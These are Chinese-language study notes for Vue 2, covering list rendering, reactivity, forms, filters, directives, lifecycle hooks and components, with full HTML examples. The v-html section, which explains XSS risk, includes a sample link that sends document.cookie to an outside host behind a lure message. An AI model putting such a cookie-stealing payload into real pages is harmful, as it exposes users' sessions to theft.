     (2)如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。

 

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>key的原理</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <!-- 遍历数组 -->
        <h2>人员列表(遍历数组)</h2>
        <button @click.once="add">添加一个老刘</button>
        <ul>
            <li v-for="(p,index) in persons" :key="p.id">
                {{p.name}} - {{p.age}}
                <input type="text">
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            persons: [{
                id: '001',
                name: '张三',
                age: '18'
            }, {
                id: '002',
                name: '李四',
                age: '19'
            }, {
                id: '003',
                name: '王五',
                age: '20'
            }, ],
        },
        methods: {
            add() {
                const p = {
                    id: '004',
                    name: '老刘',
                    age: '40'
                }
                this.persons.unshift(p)
            }
        }
    })
</script>

</html>

 (3)列表过滤

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>列表过滤</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <!-- 当用户输入的keyWord发生变化的时候进行过滤处理 通过监视属性可监测到是否发生变化 -->
    <div id="root">
        <h2>人员列表</h2>
        <input type="text" placeholder="请输入名字" v-model="keyWord">
        <ul>
            <li v-for="(p,index) of filPersons" :key="index">
                {{p.name}} -- {{p.age}} -- {{p.sex}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;

    //用watch实现
    // new Vue({
    // el: '#root',
    //     data: {
    //         keyWord: '',
    //         persons: [{
    //             id: '001',
    //             name: '马冬梅',
    //             age: '18',
    //             sex: '女'
    //         }, {
    //             id: '002',
    //             name: '周冬雨',
    //             age: '19',
    //             sex: '女',

    //         }, {
    //             id: '003',
    //             name: '周杰伦',
    //             age: '20',
    //             sex: '男',

    //         }, {
    //             id: '004',
    //             name: '温兆伦',
    //             age: '22',
    //             sex: '男',
    //         }, ],
    //         filPersons: [],

    //     },
    //     watch: {
    //         keyWord: {
    //             immediate: true,
    //             handler(val) {
    //                 //filter()方法创建一个新的数组,新数组中的元素是通过指定数组中的符合条件的所有元素。
    //                 this.filPersons = this.persons.filter((p) => {
    //                     return p.name.indexOf(val) !== -1
    //                 })
    //             }
    //         }
    //     }
    // })


    //用computed实现
    new Vue({
        el: '#root',
        data: {
            keyWord: '',
            persons: [{
                id: '001',
                name: '马冬梅',
                age: '18',
                sex: '女'
            }, {
                id: '002',
                name: '周冬雨',
                age: '19',
                sex: '女',

            }, {
                id: '003',
                name: '周杰伦',
                age: '20',
                sex: '男',

            }, {
                id: '004',
                name: '温兆伦',
                age: '22',
                sex: '男',
            }, ],
        },
        computed: {
            filPersons() {
                return this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1
                })
            }
        }
    })
</script>

</html>

 效果:

(4)列表排序

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>列表排序</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>人员列表</h2>
        <input type="text" placeholder="请输入名字" v-model="keyWord">
        <button @click="sortType = 2">年龄升序</button>
        <button @click="sortType = 1">年龄降序</button>
        <button @click="sortType = 0">原顺序</button>
        <ul>
            <li v-for="(p,index) of filPersons" :key="p.id">
                {{p.name}} -- {{p.age}} -- {{p.sex}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;


    //用computed实现
    new Vue({
        el: '#root',
        data: {
            keyWord: '',
            sortType: 0, //0代表原顺序,1降序  2升序
            persons: [{
                id: '001',
                name: '马冬梅',
                age: '20',
                sex: '女'
            }, {
                id: '002',
                name: '周冬雨',
                age: '17',
                sex: '女',

            }, {
                id: '003',
                name: '周杰伦',
                age: '34',
                sex: '男',

            }, {
                id: '004',
                name: '温兆伦',
                age: '22',
                sex: '男',
            }, ],
        },
        computed: {
            filPersons() {
                const arr = this.persons.filter((p) => {
                        return p.name.indexOf(this.keyWord) !== -1
                    })
                    //判断是否需要排序
                if (this.sortType !== 0) {
                    //拿到过滤后的数组进行排序
                    arr.sort((p1, p2) => {
                        return this.sortType == 1 ? p2.age - p1.age : p1.age - p2.age
                    })
                }
                return arr

            },
        }
    })
</script>

</html>

效果:

 (5)Vue监测数据改变的原理

总结:

Vue监视数据的原理:

1、Vue会监视data中所有层次的数据。

2、如何监测对象中的数据?

      通过setter实现监视,且要在 new Vue时就传入要监测的数据

      ① 对象中后追加的属性,Vue默认不做响应式处理

      ② 如需给后添加的属性做响应式,请使用如下API:

  •            Vue.set(target,propertyName/index,value)
  •            vm.$set(target,propertyName/index,value)

3、如何监测数组中的数据?

      通过包裹数组更新元素的方法实现,本质就是做了两件事情:

       ① 调用原生对应的方法对数组进行更新

       ② 重新解析模板,进而更新页面


4、在Vue中修改数组中的某个元素一定要用如下方法:

      ① 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

      ② Vue.set()或vm.$set()

特别注意:Vue.set()和vm.$set()不能给vm或vm的根数据对象(data等)添加属性

 效果:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>总结Vue数据监测</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h1>学生信息</h1>
        <button @click="student.age++">年龄+1岁</button><br/>
        <button @click="addSex">添加性别属性,默认值:男</button><br/>
        <button @click="student.sex= '未知'">修改性别</button><br/>
        <button @click="addfriend">在列表首位添加一个朋友</button><br/>
        <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button><br/>

        <button @click="addHobby">添加一个爱好</button><br/>
        <button @click="updateHobby">修改第一个爱好为:开车</button><br/>


        <h2>姓名:{{student.name}}</h2>
        <h2>年龄:{{student.age}}</h2>
        <h2 v-if>性别:{{student.sex}}</h2>
        <h3>爱好:</h3>
        <ul>
            <li v-for="(h,index) in student.hobby" :key="index">
                {{h}}
            </li>
        </ul>

        <h3>朋友们</h3>
        <ul>
            <li v-for="(f,index) in student.friends" :key="index">
                {{f.name}}--{{f.age}}
            </li>
        </ul>
    </div>

</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            student: {
                name: 'Tom',
                age: '18',
                hobby: ['抽烟', '喝酒', '烫头'],
                friends: [{
                    name: 'jerry',
                    age: '35',
                }, {
                    name: 'Tony',
                    age: '40'
                }]
            }
        },
        methods: {
            addSex() {
                // Vue.set(this.student, 'sex', '男')
                this.$set(this.student, 'sex', '男')
            },
            addfriend() {
                this.student.friends.unshift({
                    name: 'Rose',
                    age: '30',
                })
            },
            updateFirstFriendName() { //对象
                this.student.friends[0].name = '张三'
                this.student.friends[0].age = '15'
            },
            addHobby() {
                this.student.hobby.push('学习')
            },
            updateHobby() { //数组
                // this.student.hobby.splice(0, 1, '开车')
                // Vue.set(this.student.hobby, 0, '开车')
                this.$set(this.student.hobby, 0, '开车')
            }
        }
    })
</script>

</html>

13、收集表单数据

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>收集表单数据</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <form @submit.prevent="demo">
            <!-- 鼠标点击账号两个字,光标也能出现在输入框内 -->
            <!-- <label for="demo">账号:</label>
            <input type="text" id="demo"> -->

            <!-- v-model默认收集输入框的value值 -->
            账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
            密码:<input type="password" v-model.trim="userInfo.password"><br/><br/> 
            年龄:<input type="number" v-model.number="userInfo.age"><br/><br/> 
            性别:
            <!-- redio要亲自配置value值 -->
            男<input type="radio" name="sex" value="male"> 
            女<input type="radio" name="sex" value="female">
            <br/><br/> 
            爱好:
            学习<input type="checkbox" v-model="userInfo.hobby" value="study"> 
            打游戏<input type="checkbox" v-model="userInfo.hobby" value="game"> 
            吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
            <br /><br /> 
            所属校区
            <select v-model="userInfo.city">
                <option value="">请选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="shenzhen">深圳</option>
                <option value="sichuan">四川</option>
            </select>
            <br /><br /> 
            其他信息:
            <textarea v-model.lazy="userInfo.other"></textarea>
            <br /><br />
            <input type="checkbox" v-model="userInfo.agree">阅读并接受
            <a href="https://baidu.com">用户协议</a>
            <button>提交</button>
        </form>
        </form>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
           userInfo:{
            account: '',
            password: '',
            age:'',
            sex:'female',
            hobby:[],
            city:'北京',
            other:'',
            agree:'false',
           }
        },
        methods:{
            demo(){
               console.log(JSON.stringify(this.userInfo));
            }
        }
    })
</script>

</html>

效果:

 总结:

(1) 若:<input type="text"/>,则v-model收集的是value值,用户输入的内容就是value值

(2) 若:<input type="radio"/>,则v-model收集的是value的值,且要给标签配置value属性

(3) 若:<input type="checkbox"/>

       ① 没有配置value属性,那么收集的是checked属性(勾选or未勾选,是布尔值)

       ② 配置了value属性:

  •    v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
  •    v-model的初始值是数组,那么收集的就是value组成的数组

v-model的三个修饰符:

① lazy:失去焦点后再收集数据

② number:输入字符串转为有效的数字

③ trim:输入首尾空格过滤

14、过滤器

过滤器定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

语法:① 注册过滤器:Vue.filter(name,callback)或new Vue{filters:{ }}。

           ② 使用过滤器:{{xxx | 过滤器名}} 或 v-blind:属性=“xxx | 过滤器名”。

备注: ① 过滤器也可以接收额外参数、多个过滤器也可以串联。

            ② 并没有改变原本的数据,是产生新的对应的数据。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>过滤器</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>

<body>
    <div id="root">
        <h2>显示格式化后的时间</h2>
        <!-- 计算属性实现 -->
        <h3>现在是:{{fmtTime}}</h3>
        <!-- methods实现 -->
        <h3>现在是:{{getFmtTime()}}</h3>
        <!-- 过滤器实现 -->
        <h3>现在是:{{time | timeFormat}}</h3> 
        <!-- 过滤器的实现(传参) -->
        <h3>现在是:{{time | timeFormat('YYYY_MM_DD') | mySlice}}</h3> 
    
    </div>

    <div id="root2">
      <h2>{{msg | mySlice}}</h2>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;


    //全局过滤器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })


    const vm = new Vue({
        el: '#root',
        msg:'晚上吃什么',
        data: {
           time:'1663930361739',  //时间戳
        },
        computed:{
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods:{
            getFmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //局部过滤器
        filters:{
            //过滤器的本质是一个函数
            timeFormat(value,str="YYYY年MM月DD日 HH:mm:ss"){
              return dayjs(value).format(str)
            }
        }   
    })


    new Vue({
        el:'#root2',
        data:{
            msg:'晚安,玛卡巴卡'
        },
    })
</script>

</html>

15、内置指令

(1)v-text指令

    总结之前学过的指令:

     v-bind:单向绑定解析表达式,可简写为:xxx

     v-model:双向数据绑定

     v-for:遍历数组/对象/字符串

     v-on:绑定事件监听,可简写为@

     v-if:条件渲染(动态控制节点是否存在)

     v-else:条件渲染(动态控制节点是否存在)

     v-show:条件渲染(动态控制节点是否展示)

    v-text:向其所在的节点中渲染文本内容。

   与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-text内置指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <div>{{name}}</div>  <!-- 插值语法更灵活,使用更多 -->
        <div v-text="name"></div>
        <div v-text="str"></div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            name: '玛卡巴卡',
            str:'<h3>你好啊!</h3>',
        }
    })
</script>

</html>

 效果:

(2)v-html指令

① 作用:向指定节点或中渲染包含html结构的内容。

② 与插值语法的区别:

  •  v-html会替换掉节点中所有的内容,{{xxx}}则不会
  •  v-html可以识别html结构

③ 严重注意:v-html有安全性问题!!!

  • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
  • 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-html指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
       <div>晚安,{{name}}</div>
       <div v-html="str"></div>
       <div v-html="str2"></div>

    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: '#root',
        data: {
            name: '玛卡巴卡',
            str:'<h3>你好啊!</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟!我找到你想要的资源了!速来!</a>',
        }
    })
</script>

</html>

 效果:

 

(3)v-cloak指令

v-cloak指令(没有值):

① 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性

② 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
	</head>
	<body>
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="../js/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false
		
		new Vue({
			el:'#root',
			data:{
				name:'玛卡巴卡'
			}
		})
	</script>
</html>

(4)v-once指令

① v-once所在节点在初次动态渲染后,就视为静态内容了。

② 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-once指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            n: 1,
        }
    })
</script>

</html>

 效果:

(5)v-pre指令

① 跳过其所在节点的编译过程

② 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-pre指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">  
        <h2 v-pre>Vue其实很简单</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            n: 1,
        }
    })
</script>

</html>

16、自定义指令

(1)局部指令

 new Vue({															
 	directives:{指令名:配置对象}   
 }) 		
 new Vue({															
 	directives:{指令名:回调函数}   
 }) 	

(2)全局指令

① Vue.directive(指令名,配置对象)

② Vue.directive(指令名,回调函数)

Vue.directive('fbind',{
	//指令与元素成功绑定时(一上来)
	bind(element,binding){
		element.value = binding.value
	},
    //指令所在元素被插入页面时
    inserted(element,binding){
    	element.focus()
    },
    //指令所在的模板被重新解析时
    update(element,binding){
    	element.value = binding.value
    }
})

配置对象中常用的3个回调函数:

① bind(element,binding):指令与元素成功绑定时调用

② inserted(element,binding):指令所在元素被插入页面时调用

③ update(element,binding):指令所在模板结构重新解析时调用

(3)备注

① 指令定义时不加“v-”,但是使用时要加“v-”

② 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

new Vue({
	el:'#root',
	data:{
		n:1
	},
	directives:{
		'big-number'(element,binding){
			element.innerText = binding.value * 10
		}
	}
})

17、Vue声明周期

(1)引出生命周期

生命周期:又名生命周期回调函数、生命周期函数、生命周期钩子

是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数

生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。

生命周期函数中的this执行是vm或组件实例对象

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>引出生命周期</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2 v-if="a">你好啊</h2>
        <h2 :style="{opacity}">欢迎学习Vue</h2>

    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
          a:false,
          opacity:1
        },
        methods:{
        },

        //Vue完成模板的解析并把真实的DOM元素放入页面后(完成挂载)调用mounted
        mounted(){
            setInterval(()=>{
            this.opacity -= 0.1
            if(this.opacity <= 0) this.opacity =16
    },16)
        }
    })

    //通过外部的定时器实现(不推荐)
 /*    setInterval(()=>{
        vm.opacity -= 0.1
        if(vm.opacity <= 0) vm.opacity =1
    },16) */

</script>

</html>

(2)分析生命周期

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>分析生命周期</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<h2 v-text="n"></h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="add">点我n+1</button>
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			// template:`
			// 	<div>
			// 		<h2>当前的n值是:{{n}}</h2>
			// 		<button @click="add">点我n+1</button>
			// 	</div>
			// `,
			data:{
				n:1
			},
			methods: {
				add(){
					console.log('add')
					this.n++
				},
				bye(){
					console.log('bye')
					this.$destroy()
				}
			},
			watch:{
				n(){
					console.log('n变了')
				}
			},
			beforeCreate() {
				console.log('beforeCreate')
			},
			created() {
				console.log('created')
			},
			beforeMount() {
				console.log('beforeMount')
			},
			mounted() {
				console.log('mounted')
			},
			beforeUpdate() {
				console.log('beforeUpdate')
			},
			updated() {
				console.log('updated')
			},
			beforeDestroy() {
				console.log('beforeDestroy')
			},
			destroyed() {
				console.log('destroyed')
			},
		})
	</script>
</html>

(3)总结生命周期

Vm的生命周期:

                将要创建  ==>  调用beforeCreate函数

                创建完毕   ==>  调用created函数

                将要挂载   ==>  调用beforMount函数

  (重要)挂载完毕   ==>  调用mounted函数              ==========>  重要的钩子

                将要更新   ==>  调用updated函数

                更新完毕   ==>  调用updated函数

  (重要)将要销毁   ==>  调用beforeDestroy函数      ==========>  重要的钩子

                销毁完毕   ==>  调用destroyed函数

常用的生命周期钩子:

① mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作

② beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作

关于销毁Vue实例:

① 销毁后借助Vue开发者工具看不到任何消息。

② 销毁后自定义事件会失效,但原生DOM事件依然有效。

③ 一般不会在beforeDestroy操作数据,因为即使操作数据,也不会再触发更新流程了。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false 

		 new Vue({
			el:'#root',
			data:{
				opacity:1
			},
			methods: {
				stop(){
					this.$destroy()
				}
			},
			mounted(){
				console.log('mounted',this)
				this.timer = setInterval(() => {
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
			beforeDestroy() {
				clearInterval(this.timer)
				console.log('vm即将驾鹤西游了')
			},
		})
	</script>
</html>

 效果:

四、Vue组件化编程

1、模块与组件、模块化与组件化

 

 

1.1 模块

① 理解:向外提供特定功能的js程序,一般就是一个js文件

② 为什么:js文件很多很复杂

③ 作用:复用js,简化js的编写,提高js运行效率

1.2 组件

① 理解:用来实现局部(特定)功能效果的代码集合(html/css/js/image...)

② 为什么:一个界面的功能很复杂

③ 作用:复用编码,简化项目编码,提高运行效率

1.3 模块化

当应用中的js都以模块来编写,那这个应用就是一个模块化的应用

1.4 组件化

当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用

2、非单文件组件

理解:一个文件中包含有n个组件

(1)基本使用

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>基本使用</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <hello></hello>
        <h1>{{msg}}</h1>
        <hr>
        <!--  第三步:编写组件标签 -->
        <xuexiao></xuexiao>
        <hr>
        <!--  第三步:编写组件标签 -->
        <xuesheng></xuesheng>
    </div>
    <hr>

    <div id="root2">
        <hello></hello>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;

    //第一步:创建school组件
    const school = Vue.extend({
        template:`
        <div>
            <h2>学校名称:{{schoolName}}</h2>
            <h2>学校地址:{{address}}</h2>
            <button @click="showName">点我提示学校名</button>
        </div>
        `,
        // 组件定义时一定不要写el配置项,因为最终虽有的组件都要被一个vm管理,由vm决定服务于哪个容器
        // el: '#root',
       data(){
         return {
            schoolName:'北京大学',
            address:'北京',
         }
       },
       methods:{
        showName(){
            alert(this.schoolName)
        }
       }
    })

    //第一步:创建student组件
    const student = Vue.extend({
        template:`
        <div>
            <h2>学生名称:{{studentName}}</h2>
            <h2>学生年龄:{{age}}</h2>
        </div>
        `,
        data(){
            return {
                studentName:'玛卡巴卡',
                age:18,
            }
        }
    })

    //第一步:创建hello组件
    const hello = Vue.extend({
        template:`
        <div>
            <h2>晚上好呀~{{name}}</h2>
        </div>
        `,
        data(){
            return {
                name:'依古比古'
            }
        }
    })
    //第二步:全局注册组件
    Vue.component('hello',hello)


    //创建vm
    new Vue({
        el: '#root',
        data:{
            msg:'你好啊~'
        },
        //第二步:注册组件(局部注册)
        components:{
            xuexiao:school,
            xuesheng:student
        }
    })

    new Vue({
        el:'#root2',
    })

</script>

</html>

 效果:

总结:

1、Vue中使用组件的三大步骤:

  • 定义组件(创建组件)
  • 注册组件
  • 使用组件(写组件标签)

2、如何定义一个组件?

使用Vue.extend(options)创建,其中options和new Vue(options)时传入的options几乎一样,但也有点区别:

    ① el不要写:最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。

    ② data必须写成函数:避免组件被复用时,数据存在引用关系。

3、如何注册组件?

  • 局部注册:new Vue的时候传入components选项
  • 全局注册:Vue.component(‘组件名’,组件)

4、编写组件标签

     <xuexiao></xuexiao>

    

(2)注意事项

关于组件名:

① 一个单词组成:

  • 第一种写法(首字母小写):school
  • 第二种写法(首字母大写):School

② 多个单词组成:

  • 第一种写法(kebab-case命名):my-school
  • 第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)

③ 备注

  • 组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行
  • 可以使用name配置项指定组件在开发者工具中呈现的名字。

关于组件标签:

  • 第一种写法:<school></school>
  • 第二种写法:<school/>
  • 备注:不使用脚手架时,<school/>会导致后续组件不能渲染

一个简写方式:const school = Vue.extend(options)可简写为:const school = options

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>几个注意点</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
       <h1> {{msg}}</h1>
       <school></school>   <!-- 或者<school/>,但必须在脚手架环境下-->
       <hr>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;

    //定义组件
    const school = {
        template:`
        <div>
            <h2>学校名称:{{schoolName}}</h2>
            <h2>学校地址:{{address}}</h2>
            <button @click="showName">点我提示学校名</button>
        </div>
        `,
        // 组件定义时一定不要写el配置项,因为最终虽有的组件都要被一个vm管理,由vm决定服务于哪个容器
        // el: '#root',
       data(){
         return {
            schoolName:'北京大学',
            address:'北京',
         }
       },
       methods:{
        showName(){
            alert(this.schoolName)
        }
       }
    })
    new Vue({
        el: '#root',
        data:{
            msg:'欢迎学习~~~'
        },
        components:{
            //组件名写法
            //一、一个单词组成   school:school  或者   School:school
            //二、多个单词组成   my-school:school  或者  MySchool:school
            school:school
        }
      
    )
</script>

</html>

 (3)组件的嵌套

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>组件的嵌套</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
      <app></app>
       <hr>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;

    //定义student组件
     const student = {
        template:`
        <div>
            <h2>学生姓名:{{studentName}}</h2>
            <h2>学生年龄:{{age}}</h2>
        </div>
        `,
        // 组件定义时一定不要写el配置项,因为最终虽有的组件都要被一个vm管理,由vm决定服务于哪个容器
        // el: '#root',
       data(){
         return {
            studentName:'唔西迪西',
            age:18,
         }
       },
    }

    //定义school组件
    const school = {
        template:`
        <div>
            <h2>学校名称:{{schoolName}}</h2>
            <h2>学校地址:{{address}}</h2>
            <hr/>
            <student></student>
        </div>
        `,
        // 组件定义时一定不要写el配置项,因为最终虽有的组件都要被一个vm管理,由vm决定服务于哪个容器
        // el: '#root',
       data(){
         return {
            schoolName:'北京大学',
            address:'北京',
         }
       },
       components:{
        student:student
       }
    }

    //定义hello组件
    const hello = {
        template: ` <h1>{{msg}}</h1>`,
        data(){
            return {
                msg:'晚安~~~'
            }
        }
    }

    //定义app组件
     const app = {
        template:`
        <div>
            <hello></hello> 
            <school></school> 

        </div>
        `,
        components:{
            school,
            hello,

        }
     }
    //创建vm
    new Vue({
        el: '#root',
       //注册组件(局部)
        components:{
           app
        }
      
    })
</script>

</html>

效果:

(4)VueComponent

① school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

② 我们只需要写<school></school>或<school/>,Vue解析时会帮我们创建school组件的实例对象。

      即Vue帮我们执行的:new VueComponent

③ 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent。

④ 关于this指向:

  •   组件配置中:data、methods中的函数、watch中的函数、computed中的函数,它们的this均是【VueComponent的实例对象。】
  • new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数,它们的this均是【Vue实例对象】。

⑤ VueComponent的实例对象,以后简称为vc(也可称之为:组件实例对象)

只有在此笔记中VueComponent的实例对象才简称为vc

             

(5)一个重要的内置关系

① 一个重要的内置关系:VueComponent.prototype.__proto   === Vue.prototype

② 为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性、方法

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>一个重要的内置关系</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
       <school></school>    <!-- new一个Vue.Component -->
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    Vue.prototype.x = 99

    const school = Vue.extend({
        template:`
        <div>
            <h2>学校名称:{{schoolName}}</h2>
            <h2>学校地址:{{address}}</h2>
            <button @click="showX">点我输出x</button>
        </div>
        `,
        data(){
            return{
                schoolName:'北京大学',
                address:'北京'
            }
        },
        methods:{
            showX(){
                console.log(this.x);   //99
            }
        }
        
    })

    //创建vm
    const vm = new Vue({
        el:'#root',
        components:{
            school:school
        }
    })



    //定义一个构造函数
    // function Demo(){
    //     this.a = 1
    //     this.b = 2
    // }

    // //创建一个Demo的实例对象
    // const d = new Demo()
    
    // console.log(Demo.prototype);   //显示原型属性
    // console.log(d.__proto__);      //隐式原型属性

    // console.log(Demo.prototype === d.__proto__);

    // //程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
    // Demo.prototype.x = 99

    // console.log('@',d.x);

</script>

</html>

3、单文件组件

理解:一个文件中只包含有1个组件

